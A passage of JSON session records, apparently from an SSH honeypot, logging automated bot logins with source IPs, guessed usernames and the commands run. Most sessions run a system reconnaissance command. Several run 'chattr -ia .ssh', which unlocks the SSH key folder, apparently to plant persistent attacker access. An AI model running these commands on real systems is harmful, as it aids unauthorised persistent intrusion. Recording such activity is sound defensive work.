  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "30625244-bc14-41e8-83cb-6ac9e9114167",
  "name": "amiable-plucky-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57130,
  "username": "minecraft",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 380,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:07:35.988879+00:00",
  "ended_at": "2026-08-26T14:07:39.945258+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "aaa9f130-70a8-4358-ae68-b8e76e8598cc",
  "name": "blunt-gloomy-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 65004,
  "username": "gpadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:07:32.660122+00:00",
  "ended_at": "2026-08-26T14:07:33.692080+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2208
 },
 {
  "id": "9e795b7c-a0f6-493e-acaa-87b1cf70bd9f",
  "name": "opal-flinty-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53242,
  "username": "user2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 422,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:07:13.987108+00:00",
  "ended_at": "2026-08-26T14:07:18.144760+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0e9010ee-fdf3-4d40-84c9-4b2e89d5f90c",
  "name": "cobalt-hollow-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 65024,
  "username": "gpadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:07:06.815109+00:00",
  "ended_at": "2026-08-26T14:07:08.194338+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "104e36ac-664c-4831-8852-3beb9068f6b1",
  "name": "oaken-bronzed-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45770,
  "username": "student",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 533,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:07:06.570347+00:00",
  "ended_at": "2026-08-26T14:07:12.180056+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "40802eac-418b-4111-a30a-061e584f32ff",
  "name": "glacial-foggy-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 65016,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:07:05.095776+00:00",
  "ended_at": "2026-08-26T14:07:06.216341+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3bb51dc5-c218-45d8-a153-1c5eff85ff82",
  "name": "downy-regal-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35646,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 694,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:06:46.147762+00:00",
  "ended_at": "2026-08-26T14:06:51.884648+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e92cb958-fb8f-40cb-bd28-adcfbe718e80",
  "name": "jovial-wry-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51206,
  "username": "mysql",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 519,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:06:39.001129+00:00",
  "ended_at": "2026-08-26T14:06:43.250126+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bd9a2d06-cbd9-4c52-ac45-d1478eacca0e",
  "name": "amber-knotted-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40686,
  "username": "minecraft",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 746,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:06:38.245229+00:00",
  "ended_at": "2026-08-26T14:06:39.380787+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2157
 },
 {
  "id": "a243b7ca-5505-4f62-a360-bc2fe4f6fe1d",
  "name": "wooded-frugal-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54780,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 673,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:06:26.075047+00:00",
  "ended_at": "2026-08-26T14:06:30.460687+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "412694b3-be63-4aeb-9d92-6bee52de44ca",
  "name": "jaunty-amiable-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40688,
  "username": "minecraft",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:06:16.213024+00:00",
  "ended_at": "2026-08-26T14:06:18.314047+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9aff4429-612e-4c73-aa8c-a8e7c2533f22",
  "name": "solar-hollow-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40687,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:06:13.784878+00:00",
  "ended_at": "2026-08-26T14:06:14.718948+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f0d6f964-5b30-48ce-a9b3-9045f175f30a",
  "name": "noble-fickle-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34322,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 549,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:06:03.537802+00:00",
  "ended_at": "2026-08-26T14:06:08.055525+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "58273d2a-146c-41b5-8a1c-c9ed8612ee8d",
  "name": "lawful-humble-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60588,
  "username": "ftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 585,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:05:52.524187+00:00",
  "ended_at": "2026-08-26T14:05:58.407584+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0120c370-7611-4ec2-bdc6-b2e99fb8aae3",
  "name": "civil-oaken-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 51242,
  "username": "webmaster",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:05:45.237269+00:00",
  "ended_at": "2026-08-26T14:05:51.210962+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "312a7036-f9c8-46ed-88f7-7c882ef6b204",
  "name": "burly-mossy-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45444,
  "username": "guest",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 672,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:05:43.402130+00:00",
  "ended_at": "2026-08-26T14:05:46.371269+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f86748a3-f9e4-43c1-af92-87368abaa57a",
  "name": "fickle-candid-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 51541,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:05:39.278734+00:00",
  "ended_at": "2026-08-26T14:05:40.582521+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2645b9f-d378-472b-9fde-f069db9e2d59",
  "name": "nautical-craggy-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33284,
  "username": "webmaster",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 727,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:05:39.113836+00:00",
  "ended_at": "2026-08-26T14:05:51.209736+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1662
 },
 {
  "id": "2489171e-e757-466b-9b39-4c81f7353a5f",
  "name": "wooded-brisk-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 56130,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:05:33.591848+00:00",
  "ended_at": "2026-08-26T14:05:35.149922+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2206
 },
 {
  "id": "ad401ad7-638a-4764-8ef3-e18b6185ee42",
  "name": "freckled-obsidian-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35858,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 610,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:05:08.914789+00:00",
  "ended_at": "2026-08-26T14:05:12.895218+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "10af6320-60f0-4525-a6eb-41a3a0db32f8",
  "name": "jaunty-lanky-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56382,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:05:06.279074+00:00",
  "ended_at": "2026-08-26T14:05:07.802007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "03576323-faa4-493f-96a7-66e9432ae525",
  "name": "tawny-breezy-siskin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56380,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:05:04.357311+00:00",
  "ended_at": "2026-08-26T14:05:05.718512+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "568c1fa2-df20-4eba-96aa-fd09ff38dba5",
  "name": "lively-hardy-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 42146,
  "username": "parsa",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:04:55.815358+00:00",
  "ended_at": "2026-08-26T14:05:03.093444+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1043255-0616-44c7-80e9-53d2df107d21",
  "name": "distant-zealous-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39286,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 487,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:04:54.135341+00:00",
  "ended_at": "2026-08-26T14:04:59.695569+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e08661f7-df36-4d7d-b9ec-275c81a56e80",
  "name": "canny-grassy-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53398,
  "username": "parsa",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 445,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:04:52.069796+00:00",
  "ended_at": "2026-08-26T14:05:03.094638+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "484ccf28-10ab-4bf7-8148-770e267bad6a",
  "name": "frugal-silent-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56494,
  "username": "david",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 596,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:04:29.546683+00:00",
  "ended_at": "2026-08-26T14:04:34.768412+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5862b6b9-cd93-4726-b149-14607123f396",
  "name": "jaunty-hidden-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 32962,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 687,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:04:24.725520+00:00",
  "ended_at": "2026-08-26T14:04:29.413551+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "218c0bd5-c0aa-40c4-a3b0-79db844fae7b",
  "name": "icy-upland-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36440,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 701,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:04:10.726939+00:00",
  "ended_at": "2026-08-26T14:04:15.687986+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a116c381-aade-4870-b3f2-3401d21e9467",
  "name": "diligent-chilly-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 39312,
  "username": "bitrix",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:04:07.924006+00:00",
  "ended_at": "2026-08-26T14:04:12.209287+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9952d254-ff5c-4993-b3a8-180ce6794e2b",
  "name": "gleaming-murky-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39752,
  "username": "bitrix",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 530,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:04:00.823904+00:00",
  "ended_at": "2026-08-26T14:04:12.210574+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "d12178bb-980f-4778-8944-973f7a7ca9d9",
  "name": "peaty-ivory-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38188,
  "username": "vncuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 571,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:03:48.851612+00:00",
  "ended_at": "2026-08-26T14:03:52.427340+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "74535db9-1421-4ea7-b347-87408f6fda5a",
  "name": "brisk-rustic-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58454,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 721,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:03:38.703925+00:00",
  "ended_at": "2026-08-26T14:03:45.051619+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "376f1409-da5c-4c6d-945f-0eacd616aadb",
  "name": "clever-curious-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 56474,
  "username": "gpadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:03:34.979129+00:00",
  "ended_at": "2026-08-26T14:03:45.419636+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2f3d1d3c-f051-44e5-b47e-b55406fe1d31",
  "name": "dapper-barren-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40683,
  "username": "pixel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 747,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:03:29.804588+00:00",
  "ended_at": "2026-08-26T14:03:30.806226+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2140
 },
 {
  "id": "e2b4b756-6462-49fb-ae83-fbcb35286ae4",
  "name": "honest-icy-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 52380,
  "username": "ehsan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 298,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:03:29.803087+00:00",
  "ended_at": "2026-08-26T14:03:30.720604+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2184
 },
 {
  "id": "c6799d07-524f-41ad-8452-b411cb6ed33b",
  "name": "pleasant-sleepy-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58404,
  "username": "gpadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 422,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:03:29.590164+00:00",
  "ended_at": "2026-08-26T14:03:45.421333+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "52d54982-8c24-4a41-90b2-7ab3820dda9f",
  "name": "merry-twilight-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52616,
  "username": "oracle",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 508,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:03:17.466738+00:00",
  "ended_at": "2026-08-26T14:03:20.729374+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9695177d-5c53-468a-8c9b-de9dac64ff8c",
  "name": "keen-stoic-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52394,
  "username": "ehsan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:03:07.555709+00:00",
  "ended_at": "2026-08-26T14:03:08.857895+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "23b91b44-6591-4fe9-9a5a-85673528c6bf",
  "name": "bitter-wiry-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40685,
  "username": "pixel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:03:06.926203+00:00",
  "ended_at": "2026-08-26T14:03:08.875271+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81c3f661-24dd-42a7-a45d-3ba38cea55ad",
  "name": "golden-rustic-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52386,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:03:05.649794+00:00",
  "ended_at": "2026-08-26T14:03:06.977166+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "065102fb-0d8d-4d9e-88a6-f1e2e52c16fe",
  "name": "fearless-sullen-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40684,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:03:03.612611+00:00",
  "ended_at": "2026-08-26T14:03:05.415105+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "88c5bd98-f57b-4137-8598-c2f5d4242a0f",
  "name": "knotted-mindful-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60844,
  "username": "postgres",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1109,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:03:01.399812+00:00",
  "ended_at": "2026-08-26T14:03:04.394556+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "296783d4-df0c-4b4c-a344-60c8fe447a5c",
  "name": "ashen-deft-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 914,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:02:57.042014+00:00",
  "ended_at": "2026-08-26T14:03:02.089367+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "582e3355-d087-4436-a5cf-db874a7fd3c2",
  "name": "tangled-barren-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 51012,
  "username": "jack",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:02:53.951231+00:00",
  "ended_at": "2026-08-26T14:02:58.370847+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a9f5739b-c72a-411a-933f-b0a38b74e3c4",
  "name": "lawful-knotted-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59276,
  "username": "jack",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 415,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:02:47.705112+00:00",
  "ended_at": "2026-08-26T14:02:58.372380+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "98980c1e-6ad7-4382-8b9a-696d5b3fb390",
  "name": "subtle-shifting-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57484,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 478,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:02:28.795793+00:00",
  "ended_at": "2026-08-26T14:02:34.197379+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a3a26b2e-f034-447d-8508-8718df958315",
  "name": "chilly-forlorn-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56990,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 671,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:02:18.406938+00:00",
  "ended_at": "2026-08-26T14:02:22.659711+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "857f50c5-814b-4806-b5b2-c7ba2b2335bb",
  "name": "jagged-muted-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50420,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 535,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:02:06.821351+00:00",
  "ended_at": "2026-08-26T14:02:11.847683+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "da5b5e40-afac-4556-8f3f-bdfb70278b32",
  "name": "kindly-dusky-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50214,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 475,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:02:01.710419+00:00",
  "ended_at": "2026-08-26T14:02:04.971146+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ea4e8c4a-38cf-4817-9956-9f020d3998f1",
  "name": "calm-polar-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 644,
  "probe_flagged": 0,
